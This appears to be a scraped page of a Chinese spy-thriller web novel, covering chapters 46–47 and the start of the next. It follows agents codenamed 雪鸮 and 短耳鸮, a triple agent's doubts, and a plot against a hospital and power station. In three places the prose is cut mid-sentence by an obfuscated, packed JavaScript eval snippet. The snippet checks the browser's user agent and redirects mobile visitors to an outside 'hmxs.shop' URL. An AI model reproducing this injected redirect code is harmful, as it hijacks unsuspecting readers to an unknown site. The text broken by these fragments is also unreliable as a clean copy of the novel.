d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937063|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹰”组织的反应了。 第三个意外:战鹰提前回来了 尹柏萧监听“战鹰”组织的通讯,发现战鹰在周日中午就紧急返回了瑆洲——比原计划早了一天。显然,二把手的死惊动了他。 战鹰很愤怒,但也很谨慎。他下令所有成员保持低调,暂停一切活动,等待进一步指示。 他还特别提到:“查清楚是谁干的。如果是意外,处理掉尾巴。如果是针对我们……找出敌人,消灭。” 尹柏萧注意到,战鹰没有提到叶馨蒙。这是个好迹象,说明阮文雄还没来得及汇报他的“最终测试”计划,或者还没来得及把怀疑传递上去。 压力暂时缓解了。 第六步:让叶馨蒙知道 周一早上,尹柏萧像往常一样买咖啡。他特意买了一份《瑆洲日报》,把社会版翻到阮文雄被杀的那篇报道,然后“不小心”把报纸留在了图书馆叶馨蒙常坐的位置上。 他自己则坐在不远处的另一个位置,假装看书,实则观察。 九点十分,叶馨蒙来了。她看起来比上周更疲惫,眼睛下有深深的黑眼圈。她坐下,看到桌上的报纸,下意识地扫了一眼。 然后她僵住了。 尹柏萧能看到她的手指在报纸边缘收紧,指节发白。她的眼睛盯着那篇报道,一眨不眨,呼吸变得轻微而急促。 她看了整整三分钟,然后猛地合上报纸,环顾四周,眼神警惕得像受惊的鹿。 确认没人注意她后,她再次翻开报纸,快速阅读完整篇报道。然后她拿出手机,似乎想联系谁,但又犹豫了,最终把手机放回口袋。 她坐在那里,盯着桌面,一动不动。尹柏萧猜不透她在想什么——是松了一口气?是害怕?是怀疑? 几分钟后,叶馨蒙收拾东西,匆匆离开了图书馆。报纸被留在了桌上。 尹柏萧等她走远,走过去拿起报纸。社会版那一页已经被她捏得皱巴巴的,边缘甚至有撕扯的痕迹。 他笑了。看来她收到了信息。 第七步:自我反思 晚上,尹柏萧坐在家里,回想过去三天发生的一切。他,一个特训处教官,未来的圣保罗医学院理事长,策划并执行了一次谋杀,还成功伪装成抢劫案。 他应该感到愧疚吗?也许。阮文雄毕竟是一个人,有过去,有生命。 但尹柏萧更多的是感到……荒谬。整个事件像一出荒诞剧:他为了保护一个可能是卧底的女学生,杀了一个恐怖分子,然后假装是抢劫,还特意让女学生看到新闻。 真幽默! 更荒谬的是,他觉得这很合理。在情报世界里,道德是相对的,手段是灵活的,目的是最重要的。 而他的目的很明确:保护叶馨蒙,保护那个可能正在执行重要任务的年轻特工。 至于手段……好吧,手段不太光彩。但谁在乎呢? 尹柏萧打开电视,新闻正在报道阮文雄的葬礼——作为“杰出商人和社会活动家”,他的葬礼很隆重,很多政商名流出席。 记者说:“警方正在全力追查凶手,呼吁市民提供线索。” 尹柏萧换了个台,是一个搞笑综艺。他看了一会儿,笑了几声。 然后他关掉电视,走到窗边,看着外面的夜色。 阮文雄死了,叶馨蒙暂时安全了。 但游戏还没结束。战鹰还在,真正的雪鸮还在,军火的问题还没解决,更大的行动还在酝酿。 尹柏萧知道,这只是暴风雨前的短暂平静。 但他至少争取到了时间。 而时间,在情报世界里,是最宝贵的资源。 他拿起手机,给叶馨蒙发了条信息:“下周化学竞赛的模拟题我放在办公室了,你有空来拿。注意休息,别太累。” 普通的教官对学生的关心,没有任何异常。 一分钟后,回复来了:“谢谢教官。我明天来拿。” 也很普通。 但尹柏萧知道,有些话不需要说出口,有些事不需要挑明。 在这个充满谎言和伪装的世界里,有时候,最普通的交流反而是最安全的密码。 他放下手机,准备睡觉。 明天还有课要上,试卷要批,学生要教。 正常的生活还要继续。 即使他刚刚杀了一个人。 尹柏萧闭上眼睛,轻声笑了。 “晚安,阮先生。”他说,“希望你下辈子别再做恐怖分子了。” “或者至少,别在我的学生附近做。” 窗外,瑆洲的夜晚依然灯火辉煌。 而在城市的某个角落,真正的雪鸮正看着同一份报纸,嘴角浮现出一丝玩味的笑容。 “鱼鹰死了。”她自言自语,“有趣。看来游戏越来越好玩了。” 她放下报纸,看向窗外。 “下一个会是谁呢?”夜风中,她的低语几乎听不见:“也许,该我出场了。” 46. 雪鸮归来 拉特娜·维贾亚,也就是真正的雪鸮, 她的人生如果是一部电视剧那这一集的标题一定是“越狱犯的尴尬重逢:如何向男友解释自己过去三个月在坐牢,但现在又要借用他的房子搞间谍活动”。 事情是这样的:从军方拘留中心逃出来后,雪鸮需要一个安全的地方躲藏、思考、以及重新连接自己的网络。她有几个选择:爪哇的安全屋(太远)、黑市联系人提供的藏身处(太危险)、或者……男朋友爱德华的家。 她选择了爱德华。不是因为爱情(虽然确实有),而是因为爱德华是个单纯到令人心疼的软件工程师,他的世界观里最大的阴谋可能是公司食堂的厨师往汤里多加了水。更重要的是,爱德华住在瑆洲一个普通中产小区,邻居都是朝九晚五的上班族,没人会想到一个越狱的国际特工藏在那里。 于是,在一个雨夜,雪鸮敲响了爱德华家的门。 爱德华打开门时,穿着皱巴巴的睡衣,头发乱得像鸟窝,手里还拿着吃了一半的薯片。他看到雪鸮时,眼睛瞪得像铜铃: “拉……拉特娜?你不是在……你不是说去欧洲出差三个月吗?” 雪鸮挤出一个微笑:“计划有变。能让我进去吗?外面下雨。” “哦,当然!”爱德华赶紧让开,“天啊,你看起来……呃,经历了很多。” 雪鸮走进这个她一年没来过的公寓。一切都没变:沙发上还是那些丑得惊人的抱枕,墙上还是那些她看不懂的极简主义抽象画,茶几上还是堆满了编程书籍和空可乐罐。 “坐,坐!”爱德华手忙脚乱地把沙发上的脏衣服扫到一边,“要喝点什么吗?我只有可乐和……呃,过期三天的牛奶。” “可乐就好。”雪鸮坐下,尽量让自己看起来像个正常的、刚从长途旅行回来的女朋友,而不是一个刚越狱的逃犯。 爱德华从冰箱里拿出两罐可乐,递给她一罐,然后在她对面坐下,眼睛一直盯着她,像是在确认这不是幻觉。 “所以……”他小心翼翼地问,“欧洲怎么样?” “很潮湿。”雪鸮实话实说——拘留中心确实很潮湿。 “工作顺利吗?” “遇到了些……技术性问题。” “哦。”爱德华点头,虽然明显没听懂,“那你现在回来了?还要走吗?” “可能需要住几天。”雪鸮说,“如果不麻烦的话。” “不麻烦不麻烦!”爱德华连忙摆手,“你住多久都行!就是……嗯,客房现在堆满了我的电子零件,但主卧你可以用,我睡沙发!” “谢谢。” 尴尬的沉默。雨点敲打着窗户。 “那个……”爱德华犹豫着,“你没事吧?你看起来……嗯,有点紧张。” 雪鸮意识到自己还保持着高度警惕的状态,肩膀绷紧,眼睛不时扫视门窗。她强迫自己放松:“只是时差。还有,有点累。” “理解理解!”爱德华站起来,“你要洗澡吗?我去给你拿毛巾!” 他跑进浴室。雪鸮趁机快速检查了一下公寓:没有监控设备(至少没有明显的),窗户都有锁,门是双层防盗门。安全性一般,但够用了。 更重要的是,爱德华的公寓在23楼,视野开阔,能看到小区入口和街道。如果有可疑人员接近,她可以提前发现。 爱德华拿着毛巾和一套干净的衣服回来了:“这是我的T恤和运动裤,可能大了点,但你先凑合穿。” 雪鸮接过衣服,心里突然涌起一股荒谬的温暖。在这个世界上,居然还有人关心她穿得舒不舒服。 “谢谢。”她说,这次是真的微笑。 “不客气!”爱德华脸红了,“那个,我去收拾客房,给你腾点空间出来。” 他转身要走,雪鸮叫住他:“爱德华。” “嗯?” “如果……如果有人问起我,就说我在欧洲,还没回来。” 爱德华眨眨眼:“为什么?” “工作需要。”雪鸮说,“保密协议。” 这个解释对软件工程师来说足够合理。爱德华点头:“明白!绝对保密!” 他离开后,雪鸮走进浴室,锁上门。镜子里的女人看起来很陌生:苍白、疲惫、眼睛里有某种野性的警惕。她脱掉衣服,看着身上那些在拘留中心留下的淤青和伤痕。 三个月。她活下来了,逃出来了。 现在,该算账了。 --- 第二天早上,雪鸮被咖啡的香气唤醒。她走出卧室,看到爱德华在厨房里手忙脚乱地做着早餐——从烧焦的吐司和煎得过头的鸡蛋来看,他显然不常做饭。 “早!”爱德华看到她,露出一个大大的笑容,“早餐马上好!虽然可能不太好吃……” “闻起来很香。”雪鸮在餐桌旁坐下。窗外阳光明媚,小区里有人在遛狗,孩子在玩耍。一切看起来那么正常,那么平静。 讽刺的是,她现在是一个通缉犯,住在男朋友家,而男朋友傻得还以为她刚出差回来。 “今天有什么计划吗?”爱德华把一盘黑乎乎的早餐放在她面前,“我可以在家办公,如果你想聊聊什么的……” “我可能需要出去一趟。”雪鸮说,“工作的事。” “哦。”爱德华有点失望,“那……晚上回来吃饭吗?我可以叫外卖!我知道有家暹罗菜很好吃!” “应该可以。” “太好了!” 早餐后,雪鸮换上了昨天爱德华给她的衣服——确实大了,但很舒服。她从自己的背包里取出一些现金和一部一次性手机,准备出门。 “对了,”爱德华在门口叫住她,“我们楼的清洁工今天下午会来。他是个新来的,爪哇人,人很好。如果你见到他,不用紧张。” 清洁工。雪鸮心里一动。 “他叫什么?” “好像叫……阿里?还是阿明?我记不清了。”爱德华挠头,“反正他总是戴着帽子,话不多,但打扫得很干净。” 雪鸮点点头,离开了公寓。 她确实有事要做:需要联系一些人,确认一些信息,特别是关于那个冒充她的家伙以及那批军火的下落。 但清洁工的事让她留了个心眼。 下午三点,雪鸮提前回到公寓楼。她没有直接上楼,而是在休息区坐下假装看杂志,实则观察。 三点十五分,一个穿着灰色工作服的男人推着清洁车走进了大堂。他中等身材,戴着帽子和口罩,看不清脸。但雪鸮注意到他的走路姿势——很稳,肩膀不晃,脚步间距精确。那是受过训练的人才会有的步态。 清洁工开始打扫大堂,动作专业但不急躁。他擦桌子、拖地、倒垃圾,一切如常。 但雪鸮看到了细节:他在擦前台时,手指快速地在柜台下方摸索了一下;在倒垃圾时他检查了垃圾桶里的每一片纸屑;在拖地时他的眼睛不时扫视大堂的每一个角落和每一台监控摄像头。 这不是普通的清洁工。 这是同行。 雪鸮站起来,走向电梯。清洁工抬头看了她一眼,眼神平静,然后继续工作。 电梯门关上时,雪鸮从金属门的反光里看到,清洁工停下了手中的活,目送她离开。 她回到爱德华的公寓,立刻开始检查。客厅、卧室、浴室、厨房……没有任何监听设备或摄像头。但这反而更可疑——如果对方是专业的,就会知道不放设备反而更能降低目标的警惕。 下午五点,门铃响了。 雪鸮从猫眼看出去,是那个清洁工。她打开门。 “下午好,女士。”清洁工用爪哇语说,声音低沉,“我来打扫卫生间。爱德华先生说水管有点问题。” “进来吧。”雪鸮让开,手自然地垂在身侧——离藏在沙发垫下的匕首只有十厘米。 清洁工推着清洁车进来,直接走向卫生间。他检查了水管,然后开始打扫。整个过程很专业,没有任何异常。 但当他打扫到客厅时,他突然用极低的声音说:“代号验证:猫头鹰的第三声鸣叫。” 雪鸮的心脏猛地一跳。这是爪哇情报局内部的高级验证暗号,只有少数人知道。 她回答:“在月圆之夜。” “何时起飞?” “当风向改变时。” 暗号通过。清洁工继续拖地,但声音依然很低:“短耳鸮向你报到。欢迎回来,雪鸮。” 短耳鸮。爪哇情报局在瑆洲的最高级别潜伏特工,据说已经在这里活动了十年,身份从未暴露。 而他居然是个清洁工。 雪鸮几乎想笑。世界上最危险的情报人员之一,每天的工作是倒垃圾和刷马桶。 “情况?”雪鸮问,也假装在整理沙发靠垫。 “混乱。”短耳鸮说,“鱼鹰死了,伪装成抢劫案,但专业手法。战鹰组织暂停活动,但预计很快会重启。还有……”他停顿了一下,“有个女孩在冒充你。” “我知道。查到身份了吗?” “正在查。她很年轻,可能是瑆洲情报系统的人。成功打入了战鹰内部,但鱼鹰死前已经开始怀疑她。” “军火呢?” “刘易斯死了,被灭口。你的手法?” “不是。”雪鸮皱眉,“我逃出来后才听说他死了。” “那就奇怪了。”短耳鸮拖到窗边,“军火下落成谜。战鹰急需那批装备,压力都在那个假雪鸮身上。她撑不了多久。” “我们需要那些军火吗?” “不需要。但也不能让战鹰拿到。”短耳鸮转身,面对她,“上头的命令:如果可能,获取军火为我们所用;如果不能,确保它们被销毁或永远消失。” “明白。” 短耳鸮继续拖地,声音恢复了正常音量:“卫生间的水管没问题了,女士。如果还有问题,可以打物业电话。” “谢谢。”雪鸮递给他一张钞票——小费,也是情报人员之间传递信息的常见方式。 短耳鸮接过,手指在钞票边缘轻轻一摸,确认没有夹带信息,然后点头致谢,推着清洁车离开了。 门关上后,雪鸮靠在门上,思考刚才的信息。 短耳鸮是友军,这很好。但他也是上司派来的监视者,这就不太好了。爪哇情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937064|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报局显然不信任她——一个刚越狱的特工,谁知道会不会叛变? 她需要证明自己的价值,重新赢得信任。 而最好的方式,就是找到那批军火,或者至少,找到冒充她的那个女孩,搞清楚她到底是谁、想要什么。 晚上七点,爱德华回来了,手里提着外卖:“暹罗菜!冬阴功汤、绿咖喱、还有芒果糯米饭!” 雪鸮看着这个单纯的男人兴高采烈地摆桌子、拿餐具、甚至还点了蜡烛(虽然现在是夏天)。她突然感到一阵强烈的割裂感:一边是外卖和烛光晚餐,一边是间谍和军火;一边是爱她的男朋友,一边是想利用她的情报机构。 “拉特娜?”爱德华注意到她在走神,“你没事吧?” “没事。”雪鸮微笑,“只是……很高兴能和你一起吃晚饭。” 这是真话。 晚餐时,爱德华聊着他的工作、他的同事、他最近在写的代码。雪鸮听着,偶尔点头,心里却在计划着明天要做什么。 她需要接触那个假雪鸮,但不是直接接触——太危险。也许可以通过中间人,或者制造某种“意外”相遇。 还有刘易斯的死。谁杀了他?为什么?如果她没杀,短耳鸮没杀,那会是谁?战鹰?瑆洲情报部门?还是第三方势力? 谜团越来越多,而时间越来越少。 “对了,”爱德华突然说,“我差点忘了告诉你。你猜我今天在电梯里遇到谁了?” “谁?” “我们公司的CEO!”爱德华兴奋地说,“他居然住在这个小区!而且他还认得我,说‘你是爱德华,在云计算部门的,对吧?’天啊,我简直不敢相信!” 雪鸮微笑,心里想的却是:CEO?住在普通中产小区?要么这个CEO很节俭,要么……有问题。 但她没说出口。爱德华需要他的单纯世界,她不能破坏它。 晚饭后,爱德华坚持要洗碗,雪鸮则坐在沙发上,打开了电视。新闻正在报道阮文雄(鱼鹰)的葬礼后续,警方说“正在全力追查凶手”。 她换了个台,是一个动物纪录片,讲的是猫头鹰的猎食习惯。 旁白说:“猫头鹰是夜行性猛禽,它们无声地飞行,精准地猎杀,是夜晚的主宰。” 雪鸮看着屏幕上的猫头鹰,突然觉得这很像自己——在黑暗中活动,依靠本能和技巧生存,永远不能暴露在阳光下。 爱德华洗完碗,走过来坐在她旁边:“看什么呢?哦,猫头鹰!真酷!” 他自然地搂住她的肩膀。雪鸮身体一僵,然后慢慢放松,靠在他身上。 这一刻,她允许自己暂时忘记越狱犯的身份,忘记特工的任务,忘记所有的阴谋和危险。 她只是一个女人,和她的男朋友一起看动物纪录片。 即使只有几分钟,也是好的。 纪录片结束时,爱德华已经睡着了,头靠在她肩膀上,发出轻微的鼾声。 雪鸮轻轻挪开,把他放倒在沙发上,盖上毯子。 然后她走到窗边,看着外面的夜色。 城市灯火璀璨,像一片倒置的星空。 在那些灯光下,有多少秘密正在发生?有多少交易正在进行?有多少人像她一样,在双重身份中挣扎? 她不知道。 但她知道,游戏还在继续。 而这一次,她不只是玩家。 她既是棋子,也是棋手;既是猎物,也是猎手。 她拿起手机,发了一条加密信息: “准备接触假目标。需要支持。” 几分钟后,回复来了: “同意。但谨慎。短耳鸮会提供掩护。” 雪鸮关掉手机,最后看了一眼窗外。 夜色深沉,适合猫头鹰活动。而她,就是最致命的猫头鹰。 爱德华在沙发上翻了个身,喃喃梦呓:“代码……要优化……” 雪鸮笑了。很轻,但真实。 然后她转身,开始准备明天需要的装备和伪装。 正常的生活很美好。 但她注定不属于那里。 至少现在不。 ———————————————— 把黄安妮的良心比作是一块饼干,那现在已经被啃得只剩下渣了吧。每天晚上当她躺在那张昂贵但冰冷的大床上时都能听见那些渣子在脑子里哗啦啦地响,像某种精神上的碎屑。 自从三年前她掐死莎莎之后就走上了一条不归路。她为爪哇情报局工作,为“战鹰”组织工作(双重间谍,惊喜吧),有时候还为自己工作(三重间谍,更惊喜了)。她拿三份薪水住着用黑钱买的豪华公寓,衣柜里塞满了名牌衣服,保险箱里藏着五本不同国家的护照。 按理说,她应该很快乐。 但她一点都不快乐。 因为每天晚上,莎莎都会来她的梦里报到。 不是那种恐怖的鬼魂索命——那反而简单了,大不了搬家或者找道士。不,莎莎来的时候总是穿着死前那件沾满颜料的白T恤,坐在黄安妮的床边,用那种“姐你为什么要这样”的眼神看着她,然后开始聊天。 47. 黄安妮的动摇 聊的内容很琐碎:“安妮姐,我男朋友昨天求婚了,你猜我用哪只手接的戒指?”“安妮姐,妈妈上周做了你最爱吃的椰浆饭,说你什么时候回家?”“安妮姐,我的画在美术馆展出了,你要不要来看看?” 每一次,黄安妮都会在凌晨三点惊醒,浑身冷汗,然后去浴室吐个干净。 心理医生说这是“创伤后应激障碍”,建议她进行“认知行为治疗”。黄安妮笑了——怎么治疗?告诉医生“我掐死了表妹因为她发现我是叛徒所以现在她每天晚上来找我聊天”吗? 生活真他妈是个烂编剧。 动摇的导火索…… 发生在一周前。黄安妮收到任务:监视一个叫“拉特娜·维贾亚”(也就是假雪鸮)的女人并在必要时“处理掉她”。 黄安妮对这个任务没什么感觉——她处理过很多人,有些该死,有些不该死,但都死了。多一个少一个,区别不大。 但在监视过程中,她发现了一些事情。 第一,这个假雪鸮很年轻,可能比莎莎死的时候还年轻。她会在咖啡馆里偷偷看手机里的家人照片(黄安妮用长焦镜头拍到了),会在下雨天给流浪猫撑伞,会在等红绿灯时跟着街边音乐轻轻摇摆。 第二,她明显很害怕。黄安妮能看出来那种深入骨髓的恐惧,藏在专业的外表下,但从一些小动作里泄露出来:咬嘴唇、捏手指、过度频繁地检查周围环境。 第三,她似乎……在努力做好事?至少黄安妮监听到的一些加密通讯片段显示,她在试图破坏“战鹰”的某个计划,保护某个目标。 这让黄安妮想起了当年的自己——那个在夜市上吃烤串、喝发光饮料、还算有点良心的女兵黄安妮下士。 然后她做了件蠢事:在假雪鸮被阮文雄(鱼鹰)测试时那,她暗中帮了她一把。 事情是这样的:阮文雄安排了一场“模拟袭击”,想看看假雪鸮的反应。黄安妮负责远程监视和记录。但当那两个打手冲向假雪鸮时,黄安妮的狙击枪十字准星,不自觉地移到了其中一个打手的腿上。 她没开枪——那会暴露自己。但她用激光指示器在打手眼前晃了一下,就0.1秒,足够让打手分心,给假雪鸮制造了逃跑的机会。 假雪鸮跑了。阮文雄很生气。黄安妮在远处看着,突然觉得……有点好笑。 她,一个三重间谍,在帮一个可能是敌方特工的人,对付自己名义上的上司。 那天晚上,莎莎又来了。 这次她没聊家常,而是直接问:“安妮姐,你今天为什么帮那个女孩?” 黄安妮在梦里回答:“我不知道。” “你知道。”莎莎说,“你看到她像当年的你。害怕,孤独,身不由己。” “闭嘴。” “你怕她变成你。”莎莎继续说,“怕她也掐死自己的表妹,然后每天晚上做噩梦。” 黄安妮惊醒了。凌晨四点。这次没吐,只是坐在床上,盯着黑暗,直到天亮。 动摇的催化剂 催化剂又发生在三天前。黄安妮接到一个新任务:协助“短耳鸮”——那个潜伏在瑆洲的爪哇高级特工——与真正的雪鸮接头。 接头地点在爱德华(真雪鸮的男朋友)所在的小区。黄安妮负责外围警戒。 她提前一小时到达,伪装成慢跑者,在小区里绕圈。天气很好,阳光明媚,孩子在玩耍,老人在散步。一切看起来那么……正常。 然后她看到了爱德华。 那个傻乎乎的软件工程师,正拿着一袋垃圾,笨手笨脚地分类——把塑料瓶扔进纸类回收箱,把纸张扔进有害垃圾箱。一个路过的老奶奶看不下去了,过来纠正他,爱德华红着脸道歉,重新分类。 黄安妮用望远镜看着,突然想起了自己的前男友——也是个傻乎乎的程序员,会在约会时讨论代码优化,会在她生日时送她一个自己写的、满是bug的“电子贺卡”。 后来她“死”了(官方记录是退役后意外身亡),就没再联系过他。不知道他现在怎么样了,结婚了没有,还写不写那些满是bug的程序。 正想着,真雪鸮出现了。 黄安妮从照片上见过她:拉特娜·维贾亚,三十五岁,爪哇籍特工,代号雪鸮。但照片上的她和真人不一样——真人看起来更疲惫,更警惕,眼睛里有种黄安妮很熟悉的东西:那种见过太多黑暗、已经麻木的眼神。 真雪鸮和爱德华说了几句话,然后两人一起上楼。几分钟后,“短耳鸮”——伪装成清洁工——也进入了那栋楼。 接头很顺利。半小时后,“短耳鸮”推着清洁车出来,一切如常。 但黄安妮注意到一个细节:真雪鸮在阳台上站了很久,看着下面玩耍的孩子,表情复杂。 那一瞬间,黄安妮突然明白了:真雪鸮也在动摇。也许不是为了良心,而是为了……别的什么。也许是厌倦,也许是疲惫,也许是想要一个正常的生活。 就像她自己一样。 那天晚上,黄安妮做了一个决定。 动摇的爆发出现在昨天。收到命令:准备参与“战鹰”小组的一次重要行动——袭击瑆洲南部的一个备用发电站。如果成功,整个瑆洲尤其圣保罗医院这个群魔乱舞,令爪哇咬牙切齿已久的大蛇窝将陷入瘫痪,军方情报系统将受到重创。 任务简报很详细:时间、地点、人员分工、撤退路线。黄安妮的任务是远程狙击掩护。 她看着那些计划,脑子里突然冒出一个问题:为什么要袭击医院? 不是出于道德考量——黄安妮的道德早就喂狗了。而是出于实际考量:袭击民用设施(哪怕是军方的秘密设施)会引发公众恐慌和国际谴责,对“战鹰”这种想要“改变瑆洲政治生态”的小组来说,弊大于利。 除非……这不是真正的目标。 她仔细研究简报,。行动计划中攻击发电站只是第一步。第二步是“趁乱进入圣保罗获取某些物资”。 什么物资?医疗用品?不可能。武器?医院里怎么会有武器? 除非……目标是人。 黄安妮百思不得其解,立刻联系了自己的直属上司萨尼托(那个三年前逼她叛变的爪哇情报官),提出了疑问。 萨尼托的回复很简短:“执行命令,不要问问题。” 黄安妮没听。她用另一个加密渠道,联系了“短耳鸮”:“袭击医院的真实目标是什么?” “短耳鸮”的回复更简短:“不知道。但建议你不要参与。” “为什么?” “直觉。” 直觉。情报工作最不科学的部分,但往往最准确。 黄安妮看着行动计划,看着那些冰冷的文字和坐标,突然感到一阵强烈的厌恶。 不是为了道德,不是为了正义,甚至不是为了莎莎。 只是为了……厌倦。 她厌倦了杀人,厌倦了背叛,厌倦了每天晚上和死去的表妹聊天。 她想要停止。 哪怕只是一小会儿。 动摇的后果 今天早上,黄安妮做出了一个决定:她要破坏这次行动。 不是彻底破坏——那会暴露自己。而是……调整。让行动失败,但看起来像是意外或技术问题。 具体来说:她会“不小心”把行动的时间泄露给假雪鸮。不是直接泄露,而是通过一个中立的黑市情报贩子,让假雪鸮“偶然”买到这个信息。 如果假雪鸮真的是瑆洲情报部门的人,她一定会把这个情报传回去,医院会加强戒备,行动会失败。 如果她不是……那也没什么损失,反正黄安妮可以找其他方式破坏。 计划很冒险,但黄安妮觉得值得。 她走到保险箱前,打开,看着里面的五本护照。每本护照上的名字和照片都不一样,但都是她。 她拿出那本爪哇护照——上面写着“拉特娜·维贾亚”,照片是真雪鸮的,但年龄改成了三十一岁,发型也不同。这是萨尼托给她的“备用身份”,以备不时之需。 黄安妮看着护照上的照片,突然笑了。 “拉特娜,”她对着照片说,“如果我们换一下,会怎么样?你去做三重间谍,每天数钱数到手软;我去坐牢,然后越狱,躲在男朋友家吃外卖。” “听起来都不怎么样,对吧?” 她合上护照,放回保险箱。然后走到窗前,看着外面的城市。 阳光很好,天空很蓝。街道上车水马龙,人们忙忙碌碌,为了生活奔波。 他们中,有多少人像她一样,在双重甚至三重生活中挣扎? 有多少人晚上做噩梦,白天还要假装正常? 有多少人手上沾了血,心里藏着秘密? 黄安妮不知道。 但她知道,她累了。 莎莎昨晚又来了,这次没说话,只是坐在床边,画一幅画。黄安妮在梦里凑过去看,画上是一个女人站在悬崖边,手里拿着绳子,不知道是要把自己绑在树上防止掉下去,还是要用来上吊。 醒来后,黄安妮想了很久:那幅画是什么意思? 现在她明白了:那个女人就是她。绳子就是她的多重身份和任务。她可以用绳子固定自己,也可以用它结束一切。 选择权在她手里。 生活给了她这么多选择:为谁工作,杀谁,背叛谁。但唯一真正重要的选择——要不要继续这样活下去——却最难做。 黄安妮深吸一口气,拿出一次性手机,开始编辑要泄露给假雪鸮的信息。 她的手指在键盘上犹豫了很久。 然后她按下发送键。 信息发出去了。没有回头路了。 她走到镜子前,看着里面的女人:三十一岁,漂亮但憔悴,眼睛里有太多的秘密和太少的睡眠。 “黄安妮,”她对自己说,“你真是个糟糕的特工。” “但也许……你还可以做个不太糟糕的人。” “至少,试着做一次。” 她转身离开镜子,开始准备今天的工作。 毕竟,动摇归动摇,班还是要上的。三重间谍的考勤,也是很严格的。 —————————————————— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937065|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自卖自夸的短耳鸮:“如果我的人生是一部职场剧……那这一集的标题一定是如何在老板、客户的老板、以及可能存在的第三方审计之间反复横跳并保持养老金账户正常增长!” 作为爪哇情报局在瑆洲潜伏时间最长、级别最高的特工之一, 短耳鸮(真名阿里·苏桑托,但已经很久没人这么叫他了)有一个简单的职业哲学:永远不要只为一个老板打工。 这听起来不忠诚但很实际。在情报界,忠诚往往死得最早,而养老金账户余额才是硬道理。所以短耳鸮同时为爪哇情报局工作(正式雇主)为“战鹰”小组提供情报(高薪兼职)偶尔还卖点信息给第三方(自由职业)。三份收入,一份养老保险,完美。 但现在,这个完美的平衡要被打破了。 事情是这样的:今天早上,短耳鸮像往常一样,推着他的清洁车在爱德华住的小区里转悠。他戴着帽子和口罩,弓着背,看起来就是个普通的、劳累过度的清洁工。没人会多看他一眼——这正是他想要的效果。 他一边拖地,一边用藏在耳朵里的微型耳机监听加密频段。突然,他收到了两条信息,几乎同时到达。 第一条来自爪哇情报局总部,密级最高: “确认:‘鹰巢’计划暴动日期提前至72小时后。重复:72小时。所有潜伏人员进入最高警戒状态,准备配合或破坏(根据后续指令)。短耳鸮立即确认真雪鸮位置及状态,评估其可用性。” 第二条来自“战鹰”小组的紧急联络频道: “鱼鹰已确认死亡。小组进入紧急状态。所有行动提前。短耳鸮,我们需要你确认两件事:第一,混入小组的瑆洲女特工金环蛇的真实身份;第二,真雪鸮的下落。24小时内回复。” 短耳鸮停下拖地的动作,靠在墙上,假装喘气,实际上大脑在飞速运转。 暴动提前到72小时后。这意味着“战鹰”要在三天内发动对瑆洲的政变行动,控制关键设施,推翻现政府。 而他,短耳鸮,需要同时完成两个互相矛盾的任务: 任务A(为爪哇):确认真雪鸮的位置评估她能否被用来破坏或利用这次暴动。 任务B(为战鹰):找出混入小组的瑆洲女特工金环蛇,并指出真雪鸮的藏身处。 他需要在24小时内,向两个老板汇报完全不同的情报,而且不能让任何一方发现他在为另一方工作。 更糟糕的是,这两个任务在本质上是冲突的:如果他把真雪鸮的位置告诉战鹰,战鹰可能会去抓她或杀她,那就无法完成爪哇的任务;如果不告诉,战鹰可能会怀疑他的忠诚,他的高薪兼职就泡汤了。 至于金环蛇……短耳鸮其实已经猜到了是谁。那个假装是雪鸮的年轻女孩,太嫩,太紧张,太不像真正的职业特工。但他一直没说破因为: 第一,说破了对他没好处——战鹰可能会处理掉她,那就少了一个有趣的观察对象。 第二,他怀疑这个女孩背后有更大的网络,说不定能用来交换更多利益。 第三,坦白说,他有点欣赏她的勇气。一个年轻女孩,敢伪装成雪鸮这种级别的特工,深入恐怖小组内部,这要么是极度勇敢,要么是极度愚蠢,或者两者都是。 但现在不行了。战鹰直接点名要这个情报,他必须给。 短耳鸮叹了口气,继续拖地。清洁车底部的暗格里,藏着他的加密通讯设备、几本不同国家的护照、一些现金、还有一小瓶□□胶囊(职业风险,你懂的)。 他需要想出一个既能满足两个老板,又不至于让任何人死的方案。 这很难。但短耳鸮喜欢挑战。 第一步:回应爪哇 中午休息时间,短耳鸮坐在清洁工具间里,吃着便利店买的饭团,用加密设备回复爪哇总部: “真雪鸮位置已确认:藏身于男友爱德华处(地址附后)。状态评估:越狱后疲惫但警惕,对小组有怨恨但可用。建议方案:提供虚假支持,引导其破坏战鹰关键节点,同时获取军火下落。请求明确指令:配合暴动还是破坏?” 他故意模糊了“小组”这个词——可以指爪哇情报局,也可以指“战鹰”。这是情报工作的艺术:永远给自己留后路。 十分钟后,回复来了: “指令:在暴动中制造混乱,延缓战鹰控制关键设施的速度,为瑆洲军方反应争取时间。真雪鸮可利用但需严密监控。军火优先于一切——若无法获取则确保其不被战鹰获得。” 